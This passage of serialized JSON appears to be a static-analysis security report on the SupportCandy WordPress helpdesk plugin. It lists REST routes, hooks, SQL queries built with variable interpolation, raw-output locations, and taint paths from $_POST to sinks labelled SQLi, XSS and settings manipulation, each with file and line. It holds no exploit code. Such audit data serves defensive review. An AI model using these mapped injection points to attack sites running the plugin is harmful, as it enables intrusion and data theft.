ack":2785,"file":1368,"line":823},"\u002Fratings",[2783],"get_ratings",{"namespace":2780,"route":2849,"methods":2850,"callback":2851,"permissionCallback":2785,"file":1368,"line":449},"\u002Fratings\u002F(?P\u003Cid>\\d+)",[2783],"get_individual_rating",{"namespace":2780,"route":2853,"methods":2854,"callback":1726,"permissionCallback":2785,"file":1370,"line":823},"\u002Fstatuses",[2783],{"namespace":2780,"route":2856,"methods":2857,"callback":2858,"permissionCallback":2785,"file":1370,"line":449},"\u002Fstatuses\u002F(?P\u003Cid>\\d+)",[2783],"get_individual_status",{"namespace":2780,"route":2860,"methods":2861,"callback":2862,"permissionCallback":2785,"file":1372,"line":823},"\u002Ftickets",[2793],"create",{"namespace":2780,"route":2860,"methods":2864,"callback":2376,"permissionCallback":2785,"file":1372,"line":449},[2783],{"namespace":2780,"route":2866,"methods":2867,"callback":2868,"permissionCallback":2785,"file":1372,"line":2869},"\u002Ftickets\u002F(?P\u003Cid>\\d+)",[2783],"get",83,{"namespace":2780,"route":2871,"methods":2872,"callback":2873,"permissionCallback":2785,"file":1372,"line":352},"\u002Ftickets\u002F(?P\u003Cid>\\d+)\u002Fupdate-fields",[2793],"update",{"namespace":2780,"route":2866,"methods":2875,"callback":2877,"permissionCallback":2785,"file":1372,"line":2275},[2876],"DELETE","delete",{"namespace":2780,"route":2879,"methods":2880,"callback":2881,"permissionCallback":2785,"file":1372,"line":2322},"\u002Ftickets\u002F(?P\u003Cid>\\d+)\u002Fthreads",[2783],"get_threads",{"namespace":2780,"route":2879,"methods":2883,"callback":2884,"permissionCallback":2785,"file":1372,"line":2885},[2793],"add_new_thread",161,{"namespace":2780,"route":2887,"methods":2888,"callback":2889,"permissionCallback":2785,"file":1372,"line":2890},"\u002Ftickets\u002Ffilters",[2783],"get_filters",209,{"namespace":2780,"route":2892,"methods":2893,"callback":2894,"permissionCallback":2785,"file":1372,"line":2895},"\u002Ftickets\u002Ffilters\u002Forderby",[2783],"get_orderby_fields",220,{"namespace":2780,"route":2897,"methods":2898,"callback":2899,"permissionCallback":2785,"file":1372,"line":2900},"\u002Ftickets\u002Flist-items",[2783],"get_list_items",231,{"namespace":2780,"route":2902,"methods":2903,"callback":2904,"permissionCallback":2785,"file":1372,"line":2905},"\u002Ftickets\u002Fform-fields",[2783],"get_form_fields",242,[2907,2908,2911,2912,2914,2916],{"tag":659,"callback":2197,"file":1203,"line":1199},{"tag":2909,"callback":2197,"file":2910,"line":1199},"wpsc_unresolved_ticket_count","includes\\frontend\\class-wpsc-shortcode-four.php",{"tag":4,"callback":2197,"file":1205,"line":530},{"tag":2913,"callback":2197,"file":1213,"line":1199},"wpsc_agent_profile",{"tag":2915,"callback":2197,"file":1215,"line":416},"wpsc_open_ticket",{"tag":2917,"callback":2197,"file":1221,"line":1199},"wpsc_create_ticket",[2919,2920,2921,2922,2923,2925,2926,2927,2928,2929,2931,2932,2934,2936,2938,2940,2941,2943,2945],{"hook":752,"callback":752,"file":750,"line":449},{"hook":755,"callback":755,"file":750,"line":575},{"hook":787,"callback":787,"file":760,"line":398},{"hook":646,"callback":646,"file":760,"line":1503},{"hook":2924,"callback":2924,"file":760,"line":2869},"wpsc_license_checker",{"hook":764,"callback":764,"file":760,"line":2213},{"hook":767,"callback":767,"file":760,"line":352},{"hook":770,"callback":770,"file":760,"line":2252},{"hook":1273,"callback":1273,"file":760,"line":2265},{"hook":764,"callback":764,"file":760,"line":2930},218,{"hook":764,"callback":764,"file":760,"line":2895},{"hook":767,"callback":767,"file":760,"line":2933},282,{"hook":767,"callback":767,"file":760,"line":2935},284,{"hook":770,"callback":770,"file":760,"line":2937},348,{"hook":770,"callback":770,"file":760,"line":2939},350,{"hook":837,"callback":837,"file":835,"line":535},{"hook":1236,"callback":1236,"file":1224,"line":2942},771,{"hook":1384,"callback":1384,"file":1375,"line":2944},380,{"hook":1392,"callback":1392,"file":1386,"line":2946},373,570,135,{"dangerousFunctions":2950,"sqlUsage":2951,"outputEscaping":3390,"fileOperations":1216,"externalRequests":53,"nonceChecks":3525,"capabilityChecks":343,"bundledLibraries":3526},[],{"prepared":2145,"raw":2900,"locations":2952},[2953,2956,2959,2961,2963,2965,2967,2969,2971,2973,2975,2978,2980,2982,2984,2986,2988,2990,2992,2994,2995,2997,2999,3001,3003,3005,3007,3009,3011,3013,3015,3017,3019,3021,3022,3024,3026,3028,3030,3032,3033,3035,3037,3038,3040,3042,3044,3046,3047,3049,3050,3052,3054,3056,3058,3060,3062,3064,3066,3068,3070,3072,3073,3075,3076,3078,3079,3081,3083,3084,3086,3087,3089,3090,3091,3092,3094,3095,3096,3097,3098,3099,3100,3101,3102,3103,3105,3106,3108,3109,3111,3112,3113,3115,3117,3119,3121,3123,3125,3127,3129,3131,3133,3135,3137,3139,3141,3143,3145,3147,3149,3151,3153,3155,3157,3159,3161,3163,3165,3167,3169,3171,3173,3175,3177,3179,3181,3183,3185,3187,3189,3191,3193,3195,3197,3199,3201,3203,3205,3207,3209,3211,3213,3215,3217,3219,3221,3223,3225,3227,3229,3231,3233,3235,3237,3239,3241,3243,3245,3247,3249,3251,3253,3255,3257,3259,3261,3263,3265,3267,3269,3271,3273,3275,3277,3279,3281,3283,3285,3287,3289,3291,3293,3295,3297,3299,3301,3303,3305,3307,3309,3311,3312,3314,3316,3318,3320,3322,3324,3326,3328,3330,3332,3334,3336,3338,3340,3342,3344,3346,3348,3350,3352,3354,3356,3358,3360,3362,3364,3366,3369,3371,3373,3375,3377,3378,3380,3382,3384,3386,3388],{"file":397,"line":2954,"context":2955},331,"$wpdb->get_var() with variable interpolation",{"file":397,"line":2957,"context":2958},332,"$wpdb->query() with variable interpolation",{"file":397,"line":2960,"context":2955},336,{"file":397,"line":2962,"context":2958},337,{"file":397,"line":2964,"context":2955},2008,{"file":397,"line":2966,"context":2955},2028,{"file":397,"line":2968,"context":2955},2040,{"file":397,"line":2970,"context":2955},2057,{"file":397,"line":2972,"context":2955},2068,{"file":397,"line":2974,"context":2955},2097,{"file":397,"line":2976,"context":2977},2178,"$wpdb->get_results() with variable interpolation",{"file":397,"line":2979,"context":2955},2233,{"file":397,"line":2981,"context":2977},2482,{"file":397,"line":2983,"context":2955},2542,{"file":397,"line":2985,"context":2958},2583,{"file":397,"line":2987,"context":2958},2717,{"file":397,"line":2989,"context":2958},2730,{"file":397,"line":2991,"context":2958},2747,{"file":397,"line":2993,"context":2958},2760,{"file":474,"line":2947,"context":2955},{"file":474,"line":2996,"context":2955},687,{"file":506,"line":2998,"context":2955},758,{"file":506,"line":3000,"context":2955},764,{"file":1684,"line":3002,"context":2955},308,{"file":1684,"line":3004,"context":2955},415,{"file":1684,"line":3006,"context":2977},546,{"file":1705,"line":3008,"context":2955},340,{"file":1705,"line":3010,"context":2955},457,{"file":1705,"line":3012,"context":2977},588,{"file":1727,"line":3014,"context":2955},344,{"file":1727,"line":3016,"context":2955},463,{"file":1727,"line":3018,"context":2977},598,{"file":639,"line":3020,"context":2955},454,{"file":639,"line":3010,"context":2958},{"file":2168,"line":3023,"context":2958},831,{"file":3025,"line":2330,"context":2955},"includes\\class-wpsc-sc-upgrade.php",{"file":3025,"line":3027,"context":2955},318,{"file":1224,"line":1024,"context":3029},"$wpdb->get_row() with variable interpolation",{"file":1224,"line":3031,"context":2955},384,{"file":1256,"line":2885,"context":3029},{"file":1256,"line":3034,"context":2958},346,{"file":1256,"line":3036,"context":2955},399,{"file":1265,"line":2271,"context":3029},{"file":1265,"line":3039,"context":2955},387,{"file":1268,"line":3041,"context":3029},210,{"file":1268,"line":3043,"context":2955},421,{"file":1268,"line":3045,"context":2958},535,{"file":1286,"line":2339,"context":3029},{"file":1286,"line":3048,"context":2955},343,{"file":1289,"line":2259,"context":3029},{"file":1289,"line":3051,"context":2955},264,{"file":1289,"line":3053,"context":2955},361,{"file":1292,"line":3055,"context":3029},228,{"file":1292,"line":3057,"context":2955},392,{"file":1292,"line":3059,"context":2958},476,{"file":1292,"line":3061,"context":2958},477,{"file":1292,"line":3063,"context":2958},481,{"file":1292,"line":3065,"context":2955},566,{"file":1292,"line":3067,"context":2958},637,{"file":1292,"line":3069,"context":2958},638,{"file":1292,"line":3071,"context":2958},656,{"file":1298,"line":2307,"context":3029},{"file":1298,"line":3074,"context":2955},364,{"file":1305,"line":2263,"context":3029},{"file":1305,"line":3077,"context":2955},281,{"file":1309,"line":2283,"context":3029},{"file":1309,"line":3080,"context":2955},292,{"file":1309,"line":3082,"context":2958},596,{"file":1312,"line":2299,"context":3029},{"file":1312,"line":3085,"context":2955},320,{"file":1315,"line":2305,"context":3029},{"file":1315,"line":3088,"context":2955},275,{"file":1315,"line":2946,"context":2955},{"file":1318,"line":2283,"context":3029},{"file":1318,"line":3088,"context":2955},{"file":1318,"line":3093,"context":2955},371,{"file":1321,"line":2307,"context":3029},{"file":1321,"line":2954,"context":2955},{"file":1324,"line":2283,"context":3029},{"file":1324,"line":3088,"context":2955},{"file":1324,"line":3093,"context":2955},{"file":1327,"line":2885,"context":3029},{"file":1327,"line":3034,"context":2958},{"file":1327,"line":3036,"context":2955},{"file":1334,"line":2287,"context":3029},{"file":1334,"line":3104,"context":2955},356,{"file":1337,"line":2271,"context":3029},{"file":1337,"line":3107,"context":2955},388,{"file":1340,"line":2322,"context":3029},{"file":1340,"line":3110,"context":2955},304,{"file":1343,"line":2281,"context":3029},{"file":1343,"line":3051,"context":2955},{"file":1375,"line":3114,"context":2955},480,{"file":1375,"line":3116,"context":2955},494,{"file":1375,"line":3118,"context":2958},966,{"file":1375,"line":3120,"context":2958},967,{"file":1375,"line":3122,"context":2958},1010,{"file":1375,"line":3124,"context":2958},1011,{"file":1375,"line":3126,"context":2958},1052,{"file":1375,"line":3128,"context":2958},1053,{"file":1375,"line":3130,"context":2958},1106,{"file":1375,"line":3132,"context":2955},1292,{"file":1375,"line":3134,"context":2955},1309,{"file":1375,"line":3136,"context":2958},1343,{"file":1375,"line":3138,"context":2958},1344,{"file":1375,"line":3140,"context":2958},1362,{"file":1375,"line":3142,"context":2958},1363,{"file":1375,"line":3144,"context":2958},1383,{"file":1375,"line":3146,"context":2958},1384,{"file":1375,"line":3148,"context":2958},1404,{"file":1375,"line":3150,"context":2958},1405,{"file":1375,"line":3152,"context":2958},1425,{"file":1375,"line":3154,"context":2958},1426,{"file":1375,"line":3156,"context":2958},1444,{"file":1375,"line":3158,"context":2958},1445,{"file":1375,"line":3160,"context":2958},1463,{"file":1375,"line":3162,"context":2958},1464,{"file":1375,"line":3164,"context":2958},1482,{"file":1375,"line":3166,"context":2958},1483,{"file":1375,"line":3168,"context":2958},1501,{"file":1375,"line":3170,"context":2958},1502,{"file":1375,"line":3172,"context":2958},1520,{"file":1375,"line":3174,"context":2958},1521,{"file":1375,"line":3176,"context":2958},1540,{"file":1375,"line":3178,"context":2958},1541,{"file":1375,"line":3180,"context":2958},1561,{"file":1375,"line":3182,"context":2958},1562,{"file":1375,"line":3184,"context":2977},1620,{"file":1375,"line":3186,"context":2958},1628,{"file":1375,"line":3188,"context":2958},1629,{"file":1375,"line":3190,"context":2958},1630,{"file":1375,"line":3192,"context":2958},1631,{"file":1375,"line":3194,"context":3029},2613,{"file":1375,"line":3196,"context":2958},2771,{"file":1375,"line":3198,"context":2958},2772,{"file":1375,"line":3200,"context":2958},2773,{"file":1375,"line":3202,"context":2958},2774,{"file":1375,"line":3204,"context":2958},2879,{"file":1375,"line":3206,"context":2958},2880,{"file":1375,"line":3208,"context":2955},3378,{"file":1375,"line":3210,"context":2955},3641,{"file":1375,"line":3212,"context":2955},3660,{"file":1375,"line":3214,"context":2955},3690,{"file":1375,"line":3216,"context":3029},3875,{"file":1375,"line":3218,"context":3029},3956,{"file":1386,"line":3220,"context":2955},455,{"file":1386,"line":3222,"context":2958},469,{"file":1386,"line":3224,"context":2955},470,{"file":1386,"line":3226,"context":2955},484,{"file":1386,"line":3228,"context":2958},1107,{"file":1386,"line":3230,"context":2958},1108,{"file":1386,"line":3232,"context":2958},1150,{"file":1386,"line":3234,"context":2958},1151,{"file":1386,"line":3236,"context":2958},1192,{"file":1386,"line":3238,"context":2958},1193,{"file":1386,"line":3240,"context":2958},1245,{"file":1386,"line":3242,"context":2977},1261,{"file":1386,"line":3244,"context":2958},1626,{"file":1386,"line":3246,"context":2958},1627,{"file":1386,"line":3248,"context":2958},1646,{"file":1386,"line":3250,"context":2958},1647,{"file":1386,"line":3252,"context":2958},1667,{"file":1386,"line":3254,"context":2958},1668,{"file":1386,"line":3256,"context":2958},1688,{"file":1386,"line":3258,"context":2958},1689,{"file":1386,"line":3260,"context":2958},1711,{"file":1386,"line":3262,"context":2958},1712,{"file":1386,"line":3264,"context":2958},1738,{"file":1386,"line":3266,"context":2958},1739,{"file":1386,"line":3268,"context":2958},1759,{"file":1386,"line":3270,"context":2958},1760,{"file":1386,"line":3272,"context":2958},1780,{"file":1386,"line":3274,"context":2958},1781,{"file":1386,"line":3276,"context":2958},1802,{"file":1386,"line":3278,"context":2958},1803,{"file":1386,"line":3280,"context":2958},1822,{"file":1386,"line":3282,"context":2958},1823,{"file":1386,"line":3284,"context":2958},1842,{"file":1386,"line":3286,"context":2958},1843,{"file":1386,"line":3288,"context":2958},1863,{"file":1386,"line":3290,"context":2958},1864,{"file":1386,"line":3292,"context":2958},1884,{"file":1386,"line":3294,"context":2958},1885,{"file":1386,"line":3296,"context":2958},1905,{"file":1386,"line":3298,"context":2958},1906,{"file":1386,"line":3300,"context":2958},1926,{"file":1386,"line":3302,"context":2958},1927,{"file":1386,"line":3304,"context":2958},1949,{"file":1386,"line":3306,"context":2958},1950,{"file":1386,"line":3308,"context":2958},1970,{"file":1386,"line":3310,"context":2958},1971,{"file":1386,"line":2966,"context":2977},{"file":1386,"line":3313,"context":2958},2036,{"file":1386,"line":3315,"context":2958},2037,{"file":1386,"line":3317,"context":2958},2038,{"file":1386,"line":3319,"context":2958},2039,{"file":1386,"line":3321,"context":2955},2167,{"file":1386,"line":3323,"context":2958},2169,{"file":1386,"line":3325,"context":2958},2170,{"file":1386,"line":3327,"context":3029},3052,{"file":1386,"line":3329,"context":2958},3149,{"file":1386,"line":3331,"context":2958},3150,{"file":1386,"line":3333,"context":2958},3151,{"file":1386,"line":3335,"context":2958},3152,{"file":1386,"line":3337,"context":2958},3257,{"file":1386,"line":3339,"context":2958},3258,{"file":1386,"line":3341,"context":2955},3861,{"file":1386,"line":3343,"context":2958},4139,{"file":1386,"line":3345,"context":2958},4155,{"file":1386,"line":3347,"context":2958},4173,{"file":1386,"line":3349,"context":2955},4201,{"file":1386,"line":3351,"context":2955},4220,{"file":1386,"line":3353,"context":3029},4355,{"file":1386,"line":3355,"context":3029},4383,{"file":1386,"line":3357,"context":3029},4411,{"file":1386,"line":3359,"context":2955},4641,{"file":1386,"line":3361,"context":3029},4859,{"file":1386,"line":3363,"context":3029},4949,{"file":1386,"line":3365,"context":2955},5133,{"file":3367,"line":3368,"context":3029},"upgrade\\functions.php",440,{"file":3367,"line":3370,"context":3029},444,{"file":3367,"line":3372,"context":3029},460,{"file":3367,"line":3374,"context":3029},464,{"file":3367,"line":3376,"context":3029},468,{"file":3367,"line":3226,"context":3029},{"file":3367,"line":3379,"context":3029},488,{"file":3367,"line":3381,"context":3029},492,{"file":3367,"line":3383,"context":2955},522,{"file":3367,"line":3385,"context":2977},528,{"file":3367,"line":3387,"context":2955},888,{"file":3367,"line":3389,"context":2955},955,{"escaped":3391,"rawEcho":2711,"locations":3392},7002,[3393,3396,3398,3400,3402,3404,3406,3407,3409,3411,3413,3415,3416,3417,3418,3419,3420,3421,3422,3423,3424,3425,3427,3428,3429,3430,3431,3432,3433,3434,3435,3437,3438,3440,3442,3444,3445,3447,3449,3451,3453,3454,3456,3458,3459,3460,3462,3464,3466,3468,3470,3472,3474,3476,3478,3480,3481,3483,3485,3486,3488,3489,3490,3491,3493,3494,3495,3496,3497,3498,3500,3502,3504,3506,3508,3510,3511,3513,3515,3516,3518,3520,3521,3523],{"file":506,"line":3394,"context":3395},428,"raw output",{"file":506,"line":3397,"context":3395},627,{"file":506,"line":3399,"context":3395},813,{"file":506,"line":3401,"context":3395},974,{"file":506,"line":3403,"context":3395},1005,{"file":506,"line":3405,"context":3395},1009,{"file":506,"line":3405,"context":3395},{"file":506,"line":3408,"context":3395},1082,{"file":506,"line":3410,"context":3395},1086,{"file":506,"line":3412,"context":3395},1090,{"file":506,"line":3414,"context":3395},1110,{"file":1630,"line":1218,"context":3395},{"file":1684,"line":1218,"context":3395},{"file":1684,"line":27,"context":3395},{"file":1705,"line":290,"context":3395},{"file":1705,"line":1192,"context":3395},{"file":1727,"line":27,"context":3395},{"file":1727,"line":1195,"context":3395},{"file":1818,"line":696,"context":3395},{"file":1818,"line":2421,"context":3395},{"file":1827,"line":1092,"context":3395},{"file":1827,"line":3426,"context":3395},219,{"file":1831,"line":1231,"context":3395},{"file":1831,"line":1231,"context":3395},{"file":1831,"line":2287,"context":3395},{"file":1831,"line":2305,"context":3395},{"file":1831,"line":2322,"context":3395},{"file":1831,"line":2428,"context":3395},{"file":1836,"line":2471,"context":3395},{"file":1836,"line":700,"context":3395},{"file":1845,"line":3436,"context":3395},188,{"file":1845,"line":3426,"context":3395},{"file":1850,"line":3439,"context":3395},202,{"file":1850,"line":3441,"context":3395},232,{"file":695,"line":3443,"context":3395},270,{"file":695,"line":3063,"context":3395},{"file":695,"line":3446,"context":3395},516,{"file":695,"line":3448,"context":3395},521,{"file":695,"line":3450,"context":3395},525,{"file":695,"line":3452,"context":3395},669,{"file":2168,"line":332,"context":3395},{"file":2168,"line":3455,"context":3395},643,{"file":2168,"line":3457,"context":3395},644,{"file":2185,"line":301,"context":3395},{"file":2185,"line":403,"context":3395},{"file":2198,"line":3461,"context":3395},323,{"file":2198,"line":3463,"context":3395},520,{"file":2198,"line":3465,"context":3395},728,{"file":2221,"line":3467,"context":3395},497,{"file":2221,"line":3469,"context":3395},1186,{"file":2221,"line":3471,"context":3395},1394,{"file":2345,"line":3473,"context":3395},204,{"file":706,"line":3475,"context":3395},482,{"file":706,"line":3477,"context":3395},560,{"file":706,"line":3479,"context":3395},605,{"file":706,"line":1278,"context":3395},{"file":706,"line":3482,"context":3395},614,{"file":706,"line":3484,"context":3395},926,{"file":726,"line":2668,"context":3395},{"file":726,"line":3487,"context":3395},241,{"file":2475,"line":2295,"context":3395},{"file":2545,"line":2385,"context":3395},{"file":2545,"line":3120,"context":3395},{"file":747,"line":3492,"context":3395},537,{"file":827,"line":2890,"context":3395},{"file":827,"line":3041,"context":3395},{"file":835,"line":2869,"context":3395},{"file":835,"line":2147,"context":3395},{"file":932,"line":2895,"context":3395},{"file":960,"line":3499,"context":3395},950,{"file":960,"line":3501,"context":3395},1223,{"file":974,"line":3503,"context":3395},1142,{"file":1012,"line":3505,"context":3395},1335,{"file":1012,"line":3507,"context":3395},1377,{"file":1012,"line":3509,"context":3395},1395,{"file":1012,"line":3509,"context":3395},{"file":1038,"line":3512,"context":3395},1198,{"file":1067,"line":3514,"context":3395},668,{"file":1205,"line":2283,"context":3395},{"file":1205,"line":3517,"context":3395},303,{"file":1215,"line":3519,"context":3395},312,{"file":1215,"line":3004,"context":3395},{"file":1309,"line":3522,"context":3395},422,{"file":1309,"line":3524,"context":3395},423,296,[3527,3530],{"name":3528,"version":39,"knownCves":3529},"Select2",[],{"name":3531,"version":39,"knownCves":3532},"DataTables",[],[3534,3551,3559,3572,3580,3588,3597,3605,3613,3621,3631,3641,3650,3660,3668,3676,3684,3694,3704,3712,3721,3729,3739,3747,3755,3764,3777,3785,3793,3802,3810,3819,3827,3837,3845,3855,3863,3872,3880,3890,3898,3908,3916,3924,3935,3945,3953,3961,3969,3977,3985,3993,4001,4009,4017,4025,4033,4042,4052,4062,4072,4082,4095,4105,4113,4121,4129,4137,4150,4160,4170,4180,4188,4199,4209,4219,4227,4236,4244,4254,4264,4274,4284,4293,4302,4310,4320,4330,4340,4348,4357,4365,4373,4382,4392,4403],{"entryPoint":3535,"graph":3536,"unsanitizedCount":29,"severity":3550},"set_add_agent_leaves (includes\\admin\\agent-settings\\class-wpsc-agent-leaves.php:314)",{"nodes":3537,"edges":3548},[3538,3542],{"id":3539,"type":3540,"label":3541,"file":1397,"line":2957},"n0","source","$_POST (x2)",{"id":3543,"type":3544,"label":3545,"file":1397,"line":3546,"wp_function":3547},"n1","sink","query() [SQLi]",351,"query",[3549],{"from":3539,"to":3543,"sanitized":1401},"low",{"entryPoint":3552,"graph":3553,"unsanitizedCount":29,"severity":3550},"\u003Cclass-wpsc-agent-leaves> (includes\\admin\\agent-settings\\class-wpsc-agent-leaves.php:0)",{"nodes":3554,"edges":3557},[3555,3556],{"id":3539,"type":3540,"label":3541,"file":1397,"line":2957},{"id":3543,"type":3544,"label":3545,"file":1397,"line":3546,"wp_function":3547},[3558],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":3560,"graph":3561,"unsanitizedCount":29,"severity":3550},"get_edit_agent_role (includes\\admin\\agent-settings\\class-wpsc-agent-roles.php:539)",{"nodes":3562,"edges":3570},[3563,3566],{"id":3539,"type":3540,"label":3564,"file":1414,"line":3565},"$_POST",549,{"id":3543,"type":3544,"label":3567,"file":1414,"line":3568,"wp_function":3569},"echo() [XSS]",733,"echo",[3571],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":3573,"graph":3574,"unsanitizedCount":29,"severity":3550},"\u003Cclass-wpsc-agent-roles> (includes\\admin\\agent-settings\\class-wpsc-agent-roles.php:0)",{"nodes":3575,"edges":3578},[3576,3577],{"id":3539,"type":3540,"label":3564,"file":1414,"line":3565},{"id":3543,"type":3544,"label":3567,"file":1414,"line":3568,"wp_function":3569},[3579],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":3581,"graph":3582,"unsanitizedCount":29,"severity":3550},"\u003Cclass-wpsc-agent-settings> (includes\\admin\\agent-settings\\class-wpsc-agent-settings.php:0)",{"nodes":3583,"edges":3586},[3584,3585],{"id":3539,"type":3540,"label":3541,"file":441,"line":3088},{"id":3543,"type":3544,"label":3567,"file":441,"line":3104,"wp_function":3569},[3587],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":3589,"graph":3590,"unsanitizedCount":29,"severity":3550},"get_agents_wh_exceptions (includes\\admin\\agent-settings\\class-wpsc-agent-working-hrs.php:290)",{"nodes":3591,"edges":3595},[3592,3594],{"id":3539,"type":3540,"label":3564,"file":1457,"line":3593},321,{"id":3543,"type":3544,"label":3567,"file":1457,"line":2946,"wp_function":3569},[3596],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":3598,"graph":3599,"unsanitizedCount":29,"severity":3550},"\u003Cclass-wpsc-agent-working-hrs> (includes\\admin\\agent-settings\\class-wpsc-agent-working-hrs.php:0)",{"nodes":3600,"edges":3603},[3601,3602],{"id":3539,"type":3540,"label":3564,"file":1457,"line":3593},{"id":3543,"type":3544,"label":3567,"file":1457,"line":2946,"wp_function":3569},[3604],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":3606,"graph":3607,"unsanitizedCount":29,"severity":3550},"get_add_new_custom_field (includes\\admin\\custom-fields\\class-wpsc-cf-settings.php:302)",{"nodes":3608,"edges":3611},[3609,3610],{"id":3539,"type":3540,"label":3564,"file":474,"line":3519},{"id":3543,"type":3544,"label":3567,"file":474,"line":3036,"wp_function":3569},[3612],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":3614,"graph":3615,"unsanitizedCount":29,"severity":3550},"\u003Cclass-wpsc-cf-settings> (includes\\admin\\custom-fields\\class-wpsc-cf-settings.php:0)",{"nodes":3616,"edges":3619},[3617,3618],{"id":3539,"type":3540,"label":3564,"file":474,"line":3519},{"id":3543,"type":3544,"label":3567,"file":474,"line":3036,"wp_function":3569},[3620],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":3622,"graph":3623,"unsanitizedCount":29,"severity":3550},"set_add_new_tff (includes\\admin\\custom-fields\\class-wpsc-tff.php:288)",{"nodes":3624,"edges":3629},[3625,3627],{"id":3539,"type":3540,"label":3564,"file":499,"line":3626},317,{"id":3543,"type":3544,"label":3628,"file":499,"line":3074,"wp_function":1617},"update_option() [Settings Manipulation]",[3630],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":3632,"graph":3633,"unsanitizedCount":29,"severity":3550},"set_edit_tff (includes\\admin\\custom-fields\\class-wpsc-tff.php:496)",{"nodes":3634,"edges":3639},[3635,3637],{"id":3539,"type":3540,"label":3564,"file":499,"line":3636},513,{"id":3543,"type":3544,"label":3628,"file":499,"line":3638,"wp_function":1617},564,[3640],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":3642,"graph":3643,"unsanitizedCount":29,"severity":3550},"\u003Cclass-wpsc-tff> (includes\\admin\\custom-fields\\class-wpsc-tff.php:0)",{"nodes":3644,"edges":3648},[3645,3647],{"id":3539,"type":3540,"label":3646,"file":499,"line":3626},"$_POST (x4)",{"id":3543,"type":3544,"label":3628,"file":499,"line":3074,"wp_function":1617},[3649],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":3651,"graph":3652,"unsanitizedCount":29,"severity":3550},"get_upw_recent_activities (includes\\admin\\customers\\class-wpsc-customers.php:1046)",{"nodes":3653,"edges":3658},[3654,3657],{"id":3539,"type":3540,"label":3655,"file":506,"line":3656},"$_POST (x3)",1056,{"id":3543,"type":3544,"label":3567,"file":506,"line":3408,"wp_function":3569},[3659],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":3661,"graph":3662,"unsanitizedCount":29,"severity":3550},"\u003Cclass-wpsc-customers> (includes\\admin\\customers\\class-wpsc-customers.php:0)",{"nodes":3663,"edges":3666},[3664,3665],{"id":3539,"type":3540,"label":3655,"file":506,"line":3656},{"id":3543,"type":3544,"label":3567,"file":506,"line":3408,"wp_function":3569},[3667],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":3669,"graph":3670,"unsanitizedCount":29,"severity":3550},"save_settings (includes\\admin\\email-notifications\\class-wpsc-en-settings-gs.php:132)",{"nodes":3671,"edges":3674},[3672,3673],{"id":3539,"type":3540,"label":3564,"file":1566,"line":702},{"id":3543,"type":3544,"label":3628,"file":1566,"line":2145,"wp_function":1617},[3675],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":3677,"graph":3678,"unsanitizedCount":29,"severity":3550},"\u003Cclass-wpsc-en-settings-gs> (includes\\admin\\email-notifications\\class-wpsc-en-settings-gs.php:0)",{"nodes":3679,"edges":3682},[3680,3681],{"id":3539,"type":3540,"label":3564,"file":1566,"line":702},{"id":3543,"type":3544,"label":3628,"file":1566,"line":2145,"wp_function":1617},[3683],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":3685,"graph":3686,"unsanitizedCount":29,"severity":3550},"get_edit_ticket_notification (includes\\admin\\email-notifications\\class-wpsc-en-settings-tn.php:318)",{"nodes":3687,"edges":3692},[3688,3690],{"id":3539,"type":3540,"label":3564,"file":563,"line":3689},328,{"id":3543,"type":3544,"label":3567,"file":563,"line":3691,"wp_function":3569},467,[3693],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":3695,"graph":3696,"unsanitizedCount":29,"severity":3550},"get_clone_ticket_notification (includes\\admin\\email-notifications\\class-wpsc-en-settings-tn.php:811)",{"nodes":3697,"edges":3702},[3698,3700],{"id":3539,"type":3540,"label":3564,"file":563,"line":3699},822,{"id":3543,"type":3544,"label":3567,"file":563,"line":3701,"wp_function":3569},848,[3703],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":3705,"graph":3706,"unsanitizedCount":29,"severity":3550},"\u003Cclass-wpsc-en-settings-tn> (includes\\admin\\email-notifications\\class-wpsc-en-settings-tn.php:0)",{"nodes":3707,"edges":3710},[3708,3709],{"id":3539,"type":3540,"label":3541,"file":563,"line":3689},{"id":3543,"type":3544,"label":3567,"file":563,"line":3691,"wp_function":3569},[3711],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":3713,"graph":3714,"unsanitizedCount":29,"severity":3550},"get_edit_priority (includes\\admin\\settings\\class-wpsc-ticket-priorities.php:284)",{"nodes":3715,"edges":3719},[3716,3717],{"id":3539,"type":3540,"label":3564,"file":1705,"line":3525},{"id":3543,"type":3544,"label":3567,"file":1705,"line":3718,"wp_function":3569},357,[3720],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":3722,"graph":3723,"unsanitizedCount":29,"severity":3550},"\u003Cclass-wpsc-ticket-priorities> (includes\\admin\\settings\\class-wpsc-ticket-priorities.php:0)",{"nodes":3724,"edges":3727},[3725,3726],{"id":3539,"type":3540,"label":3564,"file":1705,"line":3525},{"id":3543,"type":3544,"label":3567,"file":1705,"line":3718,"wp_function":3569},[3728],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":3730,"graph":3731,"unsanitizedCount":29,"severity":3550},"save_settings (includes\\admin\\settings\\dashboard-settings\\class-wpsc-dashboard-general-setting.php:207)",{"nodes":3732,"edges":3737},[3733,3735],{"id":3539,"type":3540,"label":3564,"file":594,"line":3734},222,{"id":3543,"type":3544,"label":3628,"file":594,"line":3736,"wp_function":1617},225,[3738],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":3740,"graph":3741,"unsanitizedCount":29,"severity":3550},"\u003Cclass-wpsc-dashboard-general-setting> (includes\\admin\\settings\\dashboard-settings\\class-wpsc-dashboard-general-setting.php:0)",{"nodes":3742,"edges":3745},[3743,3744],{"id":3539,"type":3540,"label":3564,"file":594,"line":3734},{"id":3543,"type":3544,"label":3628,"file":594,"line":3736,"wp_function":1617},[3746],{"from":3539,"to":3543,"sanitized":1401},{"entryPoint":3748,"graph":3749,"unsanitizedCount":29,"severity":3550},"get_edit_dashboard_card_widget 